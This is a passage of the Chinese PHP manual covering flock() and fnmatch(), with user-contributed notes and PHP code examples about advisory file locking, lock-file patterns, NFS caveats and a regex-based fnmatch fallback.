由于 flock() 需要一个文件指针， 因此可能不得不用一个特殊的锁定文件来保护打算通过写模式打开的文件的访问（在 fopen() 函数中加入 "w" 或 "w+"）。

Note:

只能用于 fopen() 返回本地文件的文件指针，或指向实现 streamWrapper::stream_lock() 方法的用户空间流的文件指针。

Warning

在后续代码中为 stream 分配另一个值将释放锁。

Warning

在部分操作系统中 flock() 以进程级实现。当用多线程服务器 API 时，可能无法依靠 flock() 来保护文件，因为运行于同一服务器实例中其它并行线程的 PHP 脚本可以对该文件进行处理！

旧的文件系统（如 FAT 及其衍生）不支持 flock()，也因此在这些环境下总是返回 false。

Note:

在 Windows 上，如果锁进程再次打开文件，那么在解锁文件之前，无法通过第二个句柄访问文件。

User Contributed Notes

andy at andyslife dot org 09-Nov-2023 05:20
Important if using this to lock a class into a single instance (long duration processes). The file handle needs to be a class wide variable like $this->singleinstance. Not local to the __construct function like $localvariable. The reason is the local variable is gone after __construct is called so the lock lasts for only millisconds and not for the full duration of class running in memory.
orkans at gmail dot com 13-Jun-2023 02:06
Watch out for implied lock release!

<?php
flock($fp, LOCK_SH);

if(!flock($fp, LOCK_EX | LOCK_NB)) {
    echo 'Unable to obtain exclusive lock';
}

// Now the LOCK_SH is gone too!

?>
peripeltus at gmail dot com 07-Jun-2017 01:40
Relying on flock for synchronise things is risky, consider using extensions like SYNC or pthreads instead.
jlh at gmx dot ch 27-Mar-2017 06:14
When a file is closed the lock will be released by the system anyway, even if PHP doesn't do it explicitly anymore since 5.3.2 (the documentation is very confusing about this).

However, I had a situation on an apache/PHP server where an out-of-memory error in PHP caused file handles to not be closed and therefore the locks where kept even thought PHP execution had ended and the process had returned to apache to serve other requests. The lock was kept alive until apache recycled those processes.

This lack of proper clean up basically makes flock() completely unreliable.
markus at malkusch dot de 04-Dec-2016 07:20
And here's the timeout template for UNIX:

<?php
pcntl_signal(SIGALRM, function() {});
pcntl_alarm(3);
try {
    if (!flock($handle, LOCK_EX)) {
        throw new \Exception("Timeout");
    }
} finally {
    pcntl_alarm(0);
    pcntl_signal_dispatch();
    pcntl_signal(SIGALRM, SIG_DFL);
}
?>
emilchemical at gmail dot com 01-Mar-2016 02:49
If you are interested in using file locking as indicator that your console app is running and you don't want to start it again:

 if (!flock($fp, LOCK_EX | LOCK_NB, $wouldblock)) {
                if ($wouldblock) {
                    //Another process holds the lock!

                } else {
                    //Couldn't lock for another reason, e.g. no such file

                }
            } else {
                //Lock obtained

                startJob();
            }
Please note that this is platform independent solution, but you have restrictions in PHP version (5.5.22 on Windows).
Also, some old file systems are not supported.
forzi at mail333 dot com 24-Apr-2015 06:34
Simple Helper for lock files creation

<?php

class FileLocker {
    protected static $loc_files = array();

    public static function lockFile($file_name, $wait = false) {
        $loc_file = fopen($file_name, 'c');
        if ( !$loc_file ) {
            throw new \Exception('Can\'t create lock file!');
        }
        if ( $wait ) {
            $lock = flock($loc_file, LOCK_EX);
        } else {
            $lock = flock($loc_file, LOCK_EX | LOCK_NB);
        }
        if ( $lock ) {
            self::$loc_files[$file_name] = $loc_file;
            fprintf($loc_file, "%s\n", getmypid());
            return $loc_file;
        } else if ( $wait ) {
            throw new \Exception('Can\'t lock file!');
        } else {
            return false;
        }
    }

    public static function unlockFile($file_name) {
        fclose(self::$loc_files[$file_name]);
        @unlink($file_name);
        unset(self::$loc_files[$file_name]);
    }

}

if ( !FileLocker::lockFile('/tmp/1.lock') ) {
    echo "Can't lock file\n";
    die();
}
sleep(10);
FileLocker::unlockFile('/tmp/1.lock');
echo "All Ok\n";
ravenswd at gmail dot com 27-Feb-2015 05:32
Note that Example #1 contains a bug: ftruncate() does *not* re-set the file pointer to the beginning of the file. You need to execute a call to rewind() afterward. I realize that the ftruncate page does mention this, but if anybody copies the example above (as I did), their program will not work correctly unless they fix this.
sinus-php at sinpi dot net 15-Aug-2014 02:01
"Assigning another value to handle argument in subsequent code will release the lock."
Note: this is also true for losing the handle's context completely (like returning from a function, in which the handle was a local variable).

<?php
touch("testfile");

function mylock() {
  $F1 = fopen("testfile","r");
  if (flock($F1,LOCK_EX|LOCK_NB)) echo "First lock OK\n"; else echo "First lock FAIL\n";
  $F2 = fopen("testfile","r");
  if (flock($F2,LOCK_EX|LOCK_NB)) echo "Second lock OK\n"; else echo "Second lock FAIL\n";
}

mylock();
echo "Function returned.\n";
mylock();

unlink("testfile");
?>

Prints out:

First lock OK
Second lock FAIL
Function returned.
First lock OK
Second lock FAIL

This will lock the testfile, then attempt to lock it again with a new file handle (obviously failing). Trying this again, though, results in proper locking again (and then failing again), because when exiting the function both handles are lost and automatically unlocked.
tom dot vom dot berg at online dot de 28-Apr-2014 06:46
if you are used to reply with qualified error messages by using "track_errors = 1" and $php_errormsg,  flock() will nark you, if you use LOCK_NB .

If flock() fails due to LOCK_NB $php_errormsg will not be created and filled with an error message like 'could not lock file, file already locked'.

You can use some little workaround which does also on WIN:

#---------------------------------
GLOBAL $MYERRORMSG;

function some_file_operations($filename)
{
    GLOBAL $MYERRORMSG;

    # ...
    # ...

    if (! @flock($fh, LOCK_SH | LOCK_NB, $wb))
       {
        if (!isset($php_errormsg)) $php_errormsg = 'could not lock file, file already locked';
        $MYERRORMSG = $php_errormsg;
        return false;
    }
}
#--------------------------------

In case of fail $MYERRORMSG now will hold a qualified error message
enyby at yandex dot ru 04-Jan-2014 08:36
Use rename or unlink on handled file breaked LOCK_EX flock on handle (Linux only).

Example:

$handle = fopen($lockFile, 'c');
var_dump(flock($handle, LOCK_EX | LOCK_NB)); // false because flock use other php process
rename($lockFile, $lockFile.'.old'); // or unlink
var_dump(flock($handle, LOCK_EX | LOCK_NB)); // always true (!!!)
metamarkers at gmail dot com 19-Apr-2013 12:13
you can wrap a lock as an object to make it a scope-based lock. when the lock object is no longer referenced, like when it's unset or the owner returns, the destructor will call unlock.

this way you can just create a lock object and forget about it.

<?php
class lock {

    private $handle;

    public static function read ( $handle ) {
        $lock = new static();
        $lock->handle = $handle;
        return flock($handle,LOCK_SH) ? $lock : false;
    }

    public static function write ( $handle ) {
        $lock = new static();
        $lock->handle = $handle;
        return flock($handle,LOCK_EX) ? $lock : false;
    }

    public function __destruct ( ) {
        flock($this->handle,LOCK_UN);
    }

}
?>
steven at aubergine-it dot nl 20-Feb-2013 03:14
You cannot combine gzopen with flock; so:

<?php
$f = gzopen($file,'w');
$o = flock($f, LOCK_EX);
var_dump($o);
flush();
?>

Gives:

boolean false
mdessaintes at gmail dot com 28-Jun-2012 04:30
I just spent some time (again) to understand why a reading with file_get_contents() and file was returning me an empty string "" or array() whereas the file was existing and the contents not empty.

In fact, i was locking file when writing it (file_put_contents third arg) but not testing if file was locked when reading it (and the file was accessed a lot).

So, please pay attention that file_get_contents(), file() and maybe others php files functions are going to return empty data like if the contents of the file was an empty string.

To avoid this problem, you have to set a LOCK_SH on your file before reading it (and then waiting if locked).

Something like this :

<?php
public static function getContents($path, $waitIfLocked = true) {
    if(!file_exists($path)) {
        throw new Exception('File "'.$path.'" does not exists');
    }
    else {
        $fo = fopen($path, 'r');
        $locked = flock($fo, LOCK_SH, $waitIfLocked);

        if(!$locked) {
            return false;
        }
        else {
            $cts = file_get_contents($path);

            flock($fo, LOCK_UN);
            fclose($fo);

            return $cts;
        }
    }
}
?>

Code to test by yourself :

abc.txt :
someText

file.php :
<?php
$fo = fopen('abc.txt', 'r+');

flock($fo, LOCK_EX);
sleep(10);
flock($fo, LOCK_UN);
?>

file2.php :
<?php
var_dump(file_get_contents('abc.txt'));
var_dump(file('abc.txt'));
?>

Then launch file.php and switch to file2.php during the 10 seconds and see the difference before/after
ondrej dot nemecek at gmail dot com 15-Mar-2012 03:15
Notice: On NFS with NFS locking daemon you cannot open file for reading and than lock exklusively:

$rFopened  = fopen($sFile,'r');
$bResult   = flock($rFopened, LOCK_EX);

var_dump($bResult); // returns FALSE

Mixed fopen modes (a+, w+ ...) works with LOCK_EX fine.
mdessaintes at gmail dot com 22-Sep-2011 08:44
I just spend a long time to understand why write function returns me "0", on a basic file opening and then writing.

I discovered that if you use LOCK_SH and then you write something, that will not work :

<?php
$fp = fopen('file.txt', 'a');

flock($fp,LOCK_SH);

$written = fputs($fp, 'data');

var_dump($written); // 0 and file is not changed

fclose($fp);
?>
Evan Battaglia 05-Jan-2011 05:13
LOCK_NB seems to be checked and works fine in Windows, too, in PHP 5.3.3.

For instance, try concurrently running two instances of the following script (via the CLI). The second prints "Didn't quite get the lock..." as expected, whereas w/o the LOCK_NB flag, it just hangs.

<?php
$x = fopen("flocktest.txt", "w");
if (flock($x, LOCK_EX|LOCK_NB)) {
    print "No problems, I got the lock, now I'm going to sit on it.";
    while (true)
        sleep(5);
} else {
    print "Didn't quite get the lock. Quitting now. Good night.";
}
fclose($x);
?>
holdoffhunger at gmail dot com 03-Dec-2010 07:53
I've been having trouble getting Flock to work when I read a file, delete it, and then output slightly changed information back to the same location.  When deleting with Unlink, there's a very brief period of time where no file exists.  But, if you do an fopen using the "w" mode, it keeps the file in existence, but deletes all of its data when you go to write to it.  That way, the file never actually disappears, and another script accessing the same file with flock won't get a "file doesn't exist" error.
webmaster at bitpush dot com 11-Nov-2010 08:31
Regarding the change in PHP 5.3.2 with locked files:

Without having studied the PHP source code in detail, the situation appears to be as follows when the PHP function fclose() is called:

Before 5.3.2 PHP would check if the file was locked, then release the lock, and then close the file.

From 5.3.2 PHP just closes the file.

But note, that the operating system releases the lock automatically when the file is closed. Therefore a call to fclose() STILL releases the lock (this is tested with PHP 5.3.2, Linux, x64).
mirco dot babin at gmail dot com 15-Sep-2010 10:10
Because:
1) flock() is not safe if multiple php sessions are simultaneously locking.
2) fopen( , 'a') is not safe if multiple php sessions are simultaneously appending.
3) usleep and sleep are known for having problems.

I wrote the Weblog function, it's purpose is to append a line to logging. This function handles the concurrency as follows:
- Try to create a lockfile named: $directory . date('Ymd') . $logfile . 1 . lock
- If this fails, try to create lockfile named: $directory . date('Ymd') . $logfile . 2 . lock
- etc. After 100 tries return false.

- When the lockfile is acquired the file named: $directory.date('Ymd').$logfile.1 (or .2 or .3 or .25) is opened or created.
- If created the a "extended log file" header is written.
- Write out the line.
- Close the flie and if created set the correct access rights. (I had some problems creating files on a webserver, I did not see them when I opened a FTP session to the webdirectory. The chmod did the trick for me).

- Remove the lockfile.

There is only one drawback, multiple logfiles are created.
e.g. (executed on 15 september 2010)
    Weblog('./' , 'visit', 'Somebody requested the index page');
Could lead to 100 files, depending how many concurrent php sessions are simultaneously trying to append a logline:
./20100915visit.1
./20100915visit.2
./20100915visit.3
./20100915visit.4
...
./20100915visit.100

This function is donated to the public domain. Maybe you can give me some credit by leaving in the author comment, but it is not required. You may modify this as you wish.
(This function was inspired by the function m_lock_file presented by Kuzma dot Deretuke at gmail dot com)

<?php
function Weblog($directory, $logfile, $message)
{
    // Created 15 september 2010: Mirco Babin
    $curtime = time();
    $logfile = date('Ymd',$curtime) . $logfile;

    if (!isset($directory) || $directory === false)
        $directory = './';
    if (substr($directory,-1) !== '/')
        $directory = $directory . '/';

    $count = 1;
    while(1)
    {
        $logfilename = $directory . $logfile . '.' . $count;

        $lockfile = $logfilename . '.lock';
        $lockhandle = false;
        if (!file_exists($lockfile) || @unlink($lockfile))
            $lockhandle = @fopen($lockfile, 'xb');
        if ($lockhandle !== false) break;

        $count++;
        if ($count > 100) return false;
    }

    if (file_exists($logfilename))
        {
            $created   = false;
            $loghandle = @fopen($logfilename, 'ab');
        }
    else
        {
            $loghandle = @fopen($logfilename, 'xb');
            if ($loghandle !== false)
                {
                    $created = true;

                    $str = '#version: 1.0' . "\r\n" .
                           '#Fields: date time c-ip x-msg' . "\r\n";
                    fwrite($loghandle,$str);
                }
            }

    if ($loghandle !== false)
        {
            $str = date('Y-m-d',$curtime) . "\t" .
                   date('H:i:s', $curtime) .  "\t" .
                   (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-') . "\t" .
                   '"' . str_replace('"', '""', $message) . '"' . "\r\n";
            fwrite($loghandle,$str);

            fclose($loghandle);

            if ($created) chmod($logfilename,0644); // Read and write for owner, read for everybody else

            $result = true;
        }
    else
        {
            $result = false;
        }

    fclose($lockhandle);
    @unlink($lockfile);

    return $result;
}
?>
dejangex at yahoo dot com 21-Dec-2009 01:47
Actually, there is no use of the while loop with the usleep. My testing has revealed the following:

<?php
//some code here
flock($file_handle, LOCK_EX) // <- Your code will pause here untill you get the lock for indefinite amount of time or till your script times out
//some code here
?>

This will actually check for the lock without pausing and then it will sleep:

<?php
//code here
while (!flock($file_handle, LOCK_EX | LOCK_NB)) {
 //Lock not acquired, try again in:
 usleep(round(rand(0, 100)*1000)) //0-100 miliseconds
}
//lock acquired
//rest of the code
?>

The problem is, if you have a busy site and a lots of locking, the while loop may not acquire the lock for some time. Locking without LOCK_NB is much more persistent and it will wait for the lock for as long as it takes. It is almose guaranteed that the file will be locked, unless the script times out or something.

Consider these two scripts: 1st one is ran, and the second one is ran 5 seconds after the first.

<?php
//1st script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
sleep(10); //sleep 10 seconds
fclose($file_handle); //close and unlock the file
?>

<?php
//2nd script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
fclose($file_handle); //close and unlock the file
?>

If you run 1st and then the 2nd script,the 2nd script will wait untill the 1st has finished. As soon as the first script finishes, the second one will acquire the lock and finish the execution. If you use flock($file_handle, LOCK_EX | LOCK_NB) in the 2nd script while the 1st script is running, it would finish execution immediately and you would not get the lock.
daniel AT brightbyte DOT de 08-Sep-2009 12:49
flock on Solaris is slightly strange: it will fail if you try to get an exclusive lock on a file not opened for writing. That is, for reading files, you MUST use a shared lock. From the Solaris man page for flock:

"Read permission is required on a file to obtain a shared lock, and write  permission is required to obtain an exclusive lock."

In contrast, this is from the Linux man page for flock:

"The mode used to open the file doesn't matter to flock."

So, beware...
Kuzma dot Deretuke at gmail dot com 06-Aug-2009 04:31
I use exclusive writing to replace standard flock():

<?php
// get/set lock file name
function m_lock_file( $format = null ) {
    static $file_format = './%s.lock';

    if ($format !== null) {
        $file_format = $format;
    }

    return $file_format;
}

// acquire/check/release lock
function m_lock( $lockId, $acquire = null ) {
    static $handlers = array();

    if (is_bool($acquire)) {
        $file = sprintf(m_lock_file(), md5($lockId), $lockId);
    }

    if ($acquire === false) {
        if (isset($handlers[$lockId])) {
            @fclose($handlers[$lockId]);
            @unlink($file);
            unset($handlers[$lockId]);
        } else {
            trigger_error("Lock '$lockId' is already unlocked", E_USER_WARNING);
        }
    }

    if ($acquire === true) {
        if (!isset($handlers[$lockId])) {
            $handler = false;
            $count = 100;
            do {
                if (!file_exists($file) || @unlink($file)) {
                    $handler = @fopen($file, "x");
                }
                if (false === $handler) {
                    usleep(10000);
                } else {
                    $handlers[$lockId] = $handler;
                }
            } while (false === $handler && $count-- > 0);
        } else {
            trigger_error("Lock '$lockId' is already locked", E_USER_WARNING);
        }
    }

    return isset($handlers[$lockId]);
}
?>

Usage sample:

<?php
$lockId = "qq";

m_lock($lockId, true);
if (m_lock($lockId)) {
    echo "locked";

    // here you can perform any thread-safe operations
    usleep(300 * 1000);

    m_lock($lockId, false);
} else {
    echo "not locked";
}

?>
Fernando Gabrieli fgabrieli at gmail 12-Feb-2009 11:06
When writing to a file, you should avoid using w+ because it would erase the contents of the file before locking

If you need to write the complete file again you could use the following instead:

<?php
$fp = fopen('yourfile.txt', 'a') ;

if (flock($fp, LOCK_EX)) {
    ftruncate($fp, 0) ; // <-- this will erase the contents such as 'w+'

    fputs($fp, 'test string') ;

    flock($fp, LOCK_UN) ;
}

fclose($fp) ;
?>

Best,
Fernando Gabrieli
tinymountain at nospam dot gmail dot com 31-Jul-2008 01:36
Here's a handy class to allow retrying a write with flock a set number of times. If it can't flock, it will sleep for a brief random interval and try again. If you have a lot of concurrent writes going on, you can use it to avoid data corruption.

<?php
class SafeWriter
{
    // suggested mode 'a' for writing to the end of the file
    public static function writeData($path, $mode, $data)
    {
        $fp = fopen($path, $mode);
        $retries = 0;
        $max_retries = 100;

        if (!$fp) {
            // failure
            return false;
        }

        // keep trying to get a lock as long as possible
        do {
            if ($retries > 0) {
                usleep(rand(1, 10000));
            }
            $retries += 1;
        } while (!flock($fp, LOCK_EX) and $retries <= $max_retries);

        // couldn't get the lock, give up
        if ($retries == $max_retries) {
            // failure
            return false;
        }

        // got the lock, write the data
        fwrite($fp, "$data\n");
        // release the lock
        flock($fp, LOCK_UN);
        fclose($fp);
        // success
        return true;
    }
}
?>
John dot wellesz at teaser dot fr 14-Apr-2008 05:59
I just want to add a note about making atomic lock on NFS, there is only two
ways:

- 1 (the most robust but the most complicate) - It's to use link() to create a
  hard link to a file you want to lock (on the same FS of course).
  (On most NFS implementations, Link() is atomic)

Once you created a hard link (not a symbolic link), with a unique randomly
generated name, call stat() on it and count the number of link (nlink), if there
is only 2 then the file is locked.

If there is more than two you have to unlink() the link you just created and
create a new one with a new unique name (else NFS will use its cache and stat
will return wrong data) then call stat() on the new link and test the number of
links again, repeat this operation until you get the lock.

You have to use usleep() between the link() attempts with a fixed + random
sleep value to avoid dead lock situations (link() and unlink() may be atomic
but not instantaneous)

Also note than when you unlink a file through NFS, if NFS think that the file
is still in use, it will create a .nfs link to this file until it realizes the
file is no longer in use... A wrong timing could generate thousands of those
files and a deadlock situation.  Because of this when a deadlock situation
occurs or if your stat() command returns a very high number of links, you have
to look for .nfs file in the same directory you created your links and unlink
all the .nfs file you find (sometimes NFS take its time to remove them)

- 2 (the simplest) - the second method is to use a lock server and lock daemons
  on each client that will forward lock request to the server... (this is more
dangerous than the first method because the daemons may be killed...)

Here is for reference the function I created to make atomic locks through NFS
(this function is in production since at least 4 years now), it's just for
reference because it uses many external functions to do its job but you can see
the principle:

http://pastey.net/85793
admin ifyouwantblood de 23-Dec-2007 07:05
besides from what the manual says about locking a file opendend in w or w+ and using a special lock file for these cases, you should simply truncate the file yourself with ftruncate() after writing:

<?php

$data='some data';
$handle=fopen('file','r+');
flock($handle,LOCK_EX);
fwrite($handle,$data);
ftruncate($handle,ftell($handle));
flock($handle,LOCK_UN);
fclose($handle);

?>

now the file will have the size of $data without opening the file in w mode but with a lock on the file.

to the previous writers jpriebe and mallory:
of course the lock is lost in this case, but thats simply because the file is closed by PHP. and closing the file means unlocking it (same as when you use fclose() yourself).
mallory dot dessaintes at gmail dot com 19-Dec-2007 07:56
I have noticed that if you change the value of your fopen ressource, the lock is working no longer..

<?php

$fo = fopen('lockfile.txt','a');

flock($fo,LOCK_EX);

$fo = '';

// Lock is disable

?>
candide at idees-et-solutions dot fr 07-Dec-2007 03:48
Just a comment about the last method to lock files using filemtime().
What if   filemtime($fp[1]) == $fp[3]   because somebody modified the file less than 1s after the value of $fp[3] was picked up?
Then this modification will be lost...?

This system to lock files is made to prevent problems when two modifications are so close that they can interfere, so the case "less than 1s" will often happen?

However, lose some modifications is better than spoil all the file...
Antti Haapala 06-Oct-2007 04:30
Further information on flock: The system is not restarted if a signal is delivered to the process, so flock will happily return false in case of SIGALRM, SIGFPE or something else.
Antti Haapala 06-Oct-2007 03:41
The supplied documentation is vague, ambiguous and lacking, and the user comments contain erroneous information! The flock function follows the semantics of the Unix system call bearing the same name. Flock utilizes ADVISORY locking only; that is, other processes may ignore the lock completely; it only affects those that call the flock call.

LOCK_SH means SHARED LOCK. Any number of processes MAY HAVE A SHARED LOCK simultaneously. It is commonly called a reader lock.

LOCK_EX means EXCLUSIVE LOCK. Only a single process may possess an exclusive lock to a given file at a time.

If the file has been LOCKED with LOCK_SH in another process, flock with LOCK_SH will SUCCEED. flock with LOCK_EX will BLOCK UNTIL ALL READER LOCKS HAVE BEEN RELEASED.

If the file has been locked with LOCK_EX in another process, the CALL WILL BLOCK UNTIL ALL OTHER LOCKS have been released.

If however, you call flock on a file on which you possess the lock, it will try to change it. So: flock(LOCK_EX) followed by flock(LOCK_SH) will get you a SHARED lock, not "read-write" lock.
Will Reiher 27-Mar-2007 04:52
I've been testing a few custom file access functions but I always liked the simplicity of file_get_contents(). Of course it doesn't seem to respect any file locks created with flock(). I created the function below to wrap around file_get_contents() so it can support locked files. It's an odd way of doing it but it works for me.

<?php
function flock_get_contents($filename){

    $return = FALSE;

    if(is_string($filename) && !empty($filename)){
        if(is_readable($filename)){
            if($handle = @fopen($filename, 'r')){
                while(!$return){
                    if(flock($handle, LOCK_SH)){
                        if($return = file_get_contents($filename)){
                            flock($handle, LOCK_UN);
                        }
                    }
                }
                fclose($handle);
            }
        }
    }

    return $return;
}
?>
jerry at gh33 dot org 14-Aug-2006 09:30
Indeed, flock() will not work reliably when the underlying filesystem is NFS. The proper way to perform file locking, in this case, would be to use PHP's link() function. From the Linux man page of open():

       O_EXCL When used with O_CREAT, if the file  already  exists  it  is  an
              error  and  the open will fail. In this context, a symbolic link
              exists, regardless of where its points to.  O_EXCL is broken  on
              NFS file systems, programs which rely on it for performing lock-
              ing tasks will contain a race condition.  The solution for  per-
              forming  atomic  file  locking  using  a lockfile is to create a
              unique file on the same fs  (e.g.,  incorporating  hostname  and
              pid),  use  link(2)  to  make  a link to the lockfile. If link()
              returns 0, the lock is successful.  Otherwise,  use  stat(2)  on
              the  unique  file to check if its link count has increased to 2,
              in which case the lock is also successful.
marc dot vanwoerkom at fernuni-hagen dot de 15-Feb-2006 02:00
I ran into a loop because I just checked for true (= you got the lock) as return value of flock() and tried again when I got a false.

<?php
    function naive_wait_for_file($fp) {
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>

Unfortunately in one case the $fp I put in was invalid, so I always got false and got stuck.
Lesson: check if your $fp is valid before entering the loop, or look closer if you get a false.

<?php
    function wait_for_file($fp) {
        if ($fp === false) {
            return;
        }
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>
damasta at onwebworx dot net 09-Aug-2005 08:28
just wanted to say that you will most likely fail if you use a separate lock file together with register_shutdown_function.

my script did some different actions... resizing pictures, rotating them and this stuff. it needed a "database" file to get the correct file locations. this database file also stored some flags. and of course the script had to save that file when it was done.

because of my script exited on many different points depending on the action i used register_shutdown_function to save the file. it wanted to use a locking system to be sure the script doesn't overwrite the data another process had written into it some microseconds before. i was running on windows 2000 and apache2 on my developing machine, and flock always returned true for some reason... so i used a separate lock file. the script looked for it at the beginning and exited if it was found. otherwise it created it. but this file had to be deleted at the end. i put the unlink command into the registered shutdown-function but it never deleted the file. i tried clearstatcache and some other stuff but it didn't help.

maybe this helps someone.
rudy dot metzger at pareto dot nl 08-Sep-2004 03:31
Like a user already noted, most Linux kernels (at least the Redhat ones) will return false, even if you locked the file. This is because the lock is only ADVISORY (you can check that in /proc/locks). What you have to do there is to evalute the 3rd parameter of flock(), $eWouldBlock. See for an example below. Note however that if you
lock the file in non blocking mode, flock() will work as expected (and blocks the script).

<?php

$fp = fopen( "/var/lock/process.pid", "a" );
if ( !$fp || !flock($fp,LOCK_EX|LOCK_NB,$eWouldBlock) || $eWouldBlock ) {
  fputs( STDERR, "Failed to acquire lock!\n" );
  exit;
}

// do your work here

fclose( $fp );
unlink( "/var/lock/process.pid" );

?>
Joby <god at NOSPAMPLEASE dot greentinted dot net> 30-Jun-2004 05:59
I'm thinking that a good way to ensure that no data is lost would be to create a buffer directory that could store the instructions for what is to be written to a file, then whenever the file is decidedly unlocked, a single execution could loop through every file in that directory and apply the indicated changes to the file.

I'm working on writing this for a flat-file based database.  The way it works is, whenever a command is issued (addline, removeline, editline), the command is stored in a flat file stored in a folder named a shortened version of the filename to be edited and named by the time and a random number.  In that file is a standardized set of commands that define what is to be done to what file (the likes of "file: SecuraLog/index_uid" new line "editline: 14").

Each execution will check every folder in that directory for files and a certain amount of time (I don't know how long, maybe 1-2 seconds) is spent making pending changes to unlocked files.  This way no changes will be lost (i.e. person 1 makes a change at the same time as person 2, and person 1 loses the race by just enough to have their changed version of the file overwritten by person 2's version) and there will be no problems with opening an empty open file.
Glip 29-Jan-2004 10:39
If you don't want use secondary lock file while truncating, try this:

<?php

$fp = fopen("/tmp/lock.txt", "a+");

if (flock($fp, LOCK_EX)) { // do an exclusive lock
   ftruncate($fp, 0);
   fwrite($fp, "Write something here\n");
   flock($fp, LOCK_UN); // release the lock
} else {
   echo "Couldn't lock the file !";
}

fclose($fp);

?>
joel[at_sign]purerave.com 27-May-2003 06:12
I have found that if you open a currently locked file with 'w' or 'w+' ("file pointer at the beginning of the file and truncate the file to zero length")  then it will not truncate the file when the lock is released and the file available.

Example I used to test it:
<?php
// a.php
$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

$steps = 10;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'a '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

----------
<?php
// b.php

$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

// ftruncate($fp, 0) is needed here! <----

$steps = 5;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'b '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

Loading a.php then loading b.php right after will result in:
b 1054075769 test 0
b 1054075770 test 1
b 1054075771 test 2
b 1054075772 test 3
b 1054075773 test 4
a 1054075764 test 5
a 1054075765 test 6
a 1054075766 test 7
a 1054075767 test 8
a 1054075768 test 9

As you can see, b.php does not truncate the file as the w+ would suggest if the file were instantly available. But only moves the pointer to the begining of the file. If b.php was loaded after a.php finished then there would be no "a ..." lines in the file, since it would be truncated.

To fix this you have to add ftruncate($fp, 0) right after the flock.

'r+' and 'a' seem to work fine, though.
geoff at message dot hu 06-Aug-2002 01:10
You should lock the file _before_ opening it, and unlock _after_ closing it. Othervise an another process might be able to access the file between the lock/unlock and the open/close operation.


用模式匹配文件名

  • ? flock
  • fopen ?
  • PHP Manual
  • 文件系统函数
  • 用模式匹配文件名

fnmatch

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

fnmatch — 用模式匹配文件名

说明

fnmatch(string $pattern, string $filename, int $flags = 0): bool

fnmatch() 检查传入的 filename 是否匹配给出的 shell 通配符 pattern。

参数

pattern

shell 通配符。

filename

要检查的字符串。 此函数对于文件名尤其有用，但也可以用于普通的字符串。

普通用户可能习惯于 shell 模式或者至少在最简单的形式下使用 '?' 和 '*' 通配符， 因此在前端搜索表达式输入中，使用 fnmatch() 来代替 preg_match() 对于非编程用户更加方便。

flags

flags 值可以是下列 flag 的任意组合，并用位运算符 OR (|) 连接。

fnmatch() flag 列表
Flag | 说明
FNM_NOESCAPE | 禁用反斜线转义。
FNM_PATHNAME | Slash in string only matches slash in the given pattern.
FNM_PERIOD | Leading period in string must be exactly matched by period in the given pattern.
FNM_CASEFOLD | Caseless match. Part of the GNU extension.

返回值

匹配则返回 true，否则返回 false。

示例

Example #1 用 shell 中的通配符模式匹配来检查颜色名称

<?php
if (fnmatch("*gr[ae]y", $color)) {
echo "some form of gray ...";
}
?>

注释

Warning

目前该函数无法在 Windows 或其它非 POSIX 兼容的系统上使用。

参见

  • glob() - 寻找与模式匹配的文件路径
  • preg_match() - 执行匹配正则表达式
  • sscanf() - 根据指定格式解析输入的字符
  • printf() - 输出格式化字符串
  • sprintf() - 返回格式化字符串

User Contributed Notes

bwilcock at gmail dot com 13-Nov-2013 03:49
fnmatch is not 100% reliable. Bug 14185 is still open and may or may not have been patched.

In certain wildcard circumstance fnmatch("*needle*", $haystack, match) returns false intermittantly

However stripos or preg returns a "find".
bernd dot ebert at gmx dot net 13-Jul-2012 11:21
There is a problem within the  pcre_fnmatch-Function concerning backslashes. Those will be masked by preq_quote and ADDITONALLY by the strtr if FN_NOESCAPE is not set -> something like "*a(*" will finally result in "#^.*a\\(.*$#". Note the double backslash which effectively does NOT mask the "(" correctly.

Since preq_quote always matches a backslash I don't think that this'll work with using preg_quote at all.
me at rowanlewis dot com 30-Sep-2010 10:58
Here's a definitive solution, which supports negative character classes and the four documented flags.

<?php

    if (!function_exists('fnmatch')) {
        define('FNM_PATHNAME', 1);
        define('FNM_NOESCAPE', 2);
        define('FNM_PERIOD', 4);
        define('FNM_CASEFOLD', 16);

        function fnmatch($pattern, $string, $flags = 0) {
            return pcre_fnmatch($pattern, $string, $flags);
        }
    }

    function pcre_fnmatch($pattern, $string, $flags = 0) {
        $modifiers = null;
        $transforms = array(
            '\*'    => '.*',
            '\?'    => '.',
            '\[\!'    => '[^',
            '\['    => '[',
            '\]'    => ']',
            '\.'    => '\.',
            '\\'    => '\\\\'
        );

        // Forward slash in string must be in pattern:
        if ($flags & FNM_PATHNAME) {
            $transforms['\*'] = '[^/]*';
        }

        // Back slash should not be escaped:
        if ($flags & FNM_NOESCAPE) {
            unset($transforms['\\']);
        }

        // Perform case insensitive match:
        if ($flags & FNM_CASEFOLD) {
            $modifiers .= 'i';
        }

        // Period at start must be the same as pattern:
        if ($flags & FNM_PERIOD) {
            if (strpos($string, '.') === 0 && strpos($pattern, '.') !== 0) return false;
        }

        $pattern = '#^'
            . strtr(preg_quote($pattern, '#'), $transforms)
            . '$#'
            . $modifiers;

        return (boolean)preg_match($pattern, $string);
    }

?>

This probably needs further testing, but it seems to function identically to the native fnmatch implementation.
Sinured 19-Mar-2008 01:04
An addition to my previous note: My statement regarding the FNM_* constants was wrong. They are available on POSIX-compliant systems (in other words, if fnmatch() is defined).
theboydanny at gmail dot com 29-Nov-2007 10:31
About the windows compat functions below:
